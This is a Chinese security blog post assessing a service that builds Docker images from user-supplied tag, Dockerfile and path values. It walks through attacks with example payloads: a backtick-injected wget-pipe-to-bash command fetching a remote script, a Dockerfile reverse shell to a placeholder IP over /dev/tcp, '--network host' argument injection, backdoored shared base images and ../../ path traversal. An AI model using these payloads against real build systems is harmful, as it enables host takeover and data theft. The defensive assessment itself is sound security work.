<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    docker build時的安全問題

    VSole2022-03-16 15:34:14

    背景

    業務提供一個功能:根據用戶的代碼倉庫編譯鏡像,并且管理鏡像。

    編譯鏡像時的業務實現類似下面這樣,其中image_name_tag、dockerfile_file、dockerfile_path變量都是從外部web入口傳入的。

    docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
    

    如果你是這個業務的研發或者安全測試人員,你覺得這里會產生哪些安全漏洞?

    我的分析

    命令執行

    我想大家第一個都會想到"命令執行漏洞":image_name_tag變量如果用戶傳入`wget -c http://xxx/x.sh | bash -c`就能執行遠程服務器上的腳本,拿到宿主機服務器權限。

    如果研發大哥對傳入的變量做了黑名單呢(比如判斷是否包含$、`),還有其他安全漏洞嗎?

    Dockerfile中反彈shell

    -f ${dockerfile_file}這里Dockerfile的內容是用戶可控的,所以也很容易想到:我們可以在Dockerfile中寫任意命令,獲取到"反彈shell"。

    FROM ubuntuMAINTAINER Victor Coisne victor.coisne@dotcloud.comRUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh    # x.x.x.x/xxxx是ip和端口RUN bash /tmp/1.sh
    

    在"反彈shell"中我們可以嘗試去訪問"dockerd服務"所在的宿主機網絡,或者宿主機能訪問到的網絡,然后可以去測試網絡中的脆弱服務。

    如果研發大哥在這里用iptables對容器和宿主機網絡做了隔離,還有其他安全漏洞嗎?

    用戶數據泄漏

    Dockerfile中的第一行FROM如果我填寫其他用戶編譯好的鏡像名稱,是不是有可能讀到其他用戶鏡像呢?

    雖然"鏡像名稱"難猜中,但是這個風險確實是存在的。

    如果研發大哥在構建鏡像并推送到鏡像倉庫后,然后用docker rmi清空本地的鏡像緩存,就不存在這種風險了,那還有其他安全漏洞嗎?

    給所有鏡像種個后門

    age_name_tag是編譯后的鏡像名,Dockerfile中的第一行FROM指令又需要一個基礎鏡像,那么是否存在如下可能:A用戶使用的基礎鏡像是B用戶build生成。如果存在這個可能,那一個惡意用戶build生成帶后門的nginx、ubuntu等基礎鏡像,就可以導致其他用戶的生成鏡像時都帶上后門。

    測試后,發現"dockerd服務"默認會使用本地鏡像,所以會出現上面的問題。

    --pull=true|falseAlways attempt to pull a newer version of the image. The default is false.
    

    如果研發大哥使用了docker build --pull=true每次拉取最新鏡像,還有其他安全漏洞嗎?

    命令參數注入--network host

    如果傳入image_name_tag參數值是xxx --network host,可以達到docker build xxx --network host的效果,配合Dockerfile中反彈shell,可以讓shell和"dockerd服務"處于同一個網絡。這樣iptables對容器和宿主機的網絡隔離就不起作用了。

    當然你還可以注入--build-arg讀宿主機環境變量,或者看看docker build還有沒有其他的命令行參數可以拿來利用。

    如果研發大哥對參數值判斷了,不允許-符號傳入呢,還有其他安全漏洞嗎?

    服務數據泄漏

    下面的命令可以把"docker客戶端"的/tmp../../目錄下的文件全部拷貝到"編譯容器"中,配合Dockerfile中反彈shell,可以在shell中讀到"docker客戶端"機器上的。

    docker build -f ./Dockerfile /tmpdocker build -f ./Dockerfile ../../
    

    同時你可能需要用.dockersignore文件忽略某些文件或目錄,避免一些大文件被拷貝到"編譯容器"。

    所以如果用戶傳入dockerfile_path參數為../../這種形式的路徑,是可以讀到機器上的文件。

    如果研發大哥判斷用戶傳入的參數,不允許出現..這種目錄跳轉,還有其他安全漏洞嗎?

    emm,反正我想不到其他的攻擊點了。

    另外我想補充說明一下,docker是一個cs架構的軟件,所以在做漏洞利用時需要清楚我們是在誰的網絡環境下、讀誰的文件(誰指的是客戶端還是服務端)

    總結

    本文介紹了一個docker相關的安全評估的案例,包括其中的風險點和修復措施,希望你能有點收獲。

    在做這個評估時,我的感受是:有時候業務評估非常依賴評估人員自身的經驗,并且好像沒有辦法依賴一個方法論(比如stride)評估出所有風險點。

    dockerdockerfile
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    自動化滲透掃描工具
    2021-08-30 09:59:57
    自動化滲透掃描工具,集成了很多信息收集的開源工具,其中包含于各大工具的API。
    目前Linux內核代碼已經達到了2700萬行量級[2],僅每年通報的Linux內核漏洞就多達數十個。Linux內核主要使用C語言編寫,由于C語言不是類型安全語言,而且偏底層,所以各種內存破壞類漏洞層出不窮。攻擊者利用內核漏洞可以達到本地提權的目的。容器技術本身依賴于Linux內核提供的Namespaces和Cgroups機制,利用內核漏洞,攻擊者可以繞過Namespaces對資源的隔離,達到逃逸的
    背景 業務提供一個功能:根據用戶的代碼倉庫編譯鏡像,并且管理鏡像。 編譯鏡像時的業務實現類似下面這樣,其中image_name_tag、dockerfile_file、dockerfile_path變量都是從外部web入口傳入的。
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    當網絡流量監控發現某臺運行多個docker容器的主機主動連接到一個疑似挖礦礦池的地址時,需要快速響應和排查,以阻止進一步的損害。
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    本文介紹了 12 個優化 Docker 鏡像安全性的技巧。每個技巧都解釋了底層的攻擊載體,以及一個或多個緩解方法。這些技巧包括了避免泄露構建密鑰、以非 root 用戶身份運行,或如何確保使用最新的依賴和更新等。
    本文介紹了 12 個優化 Docker 鏡像安全性的技巧。每個技巧都解釋了底層的攻擊載體,以及一個或多個緩解方法。這些技巧包括了避免泄露構建密鑰、以非 root 用戶身份運行,或如何確保使用最新的依賴和更新等。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类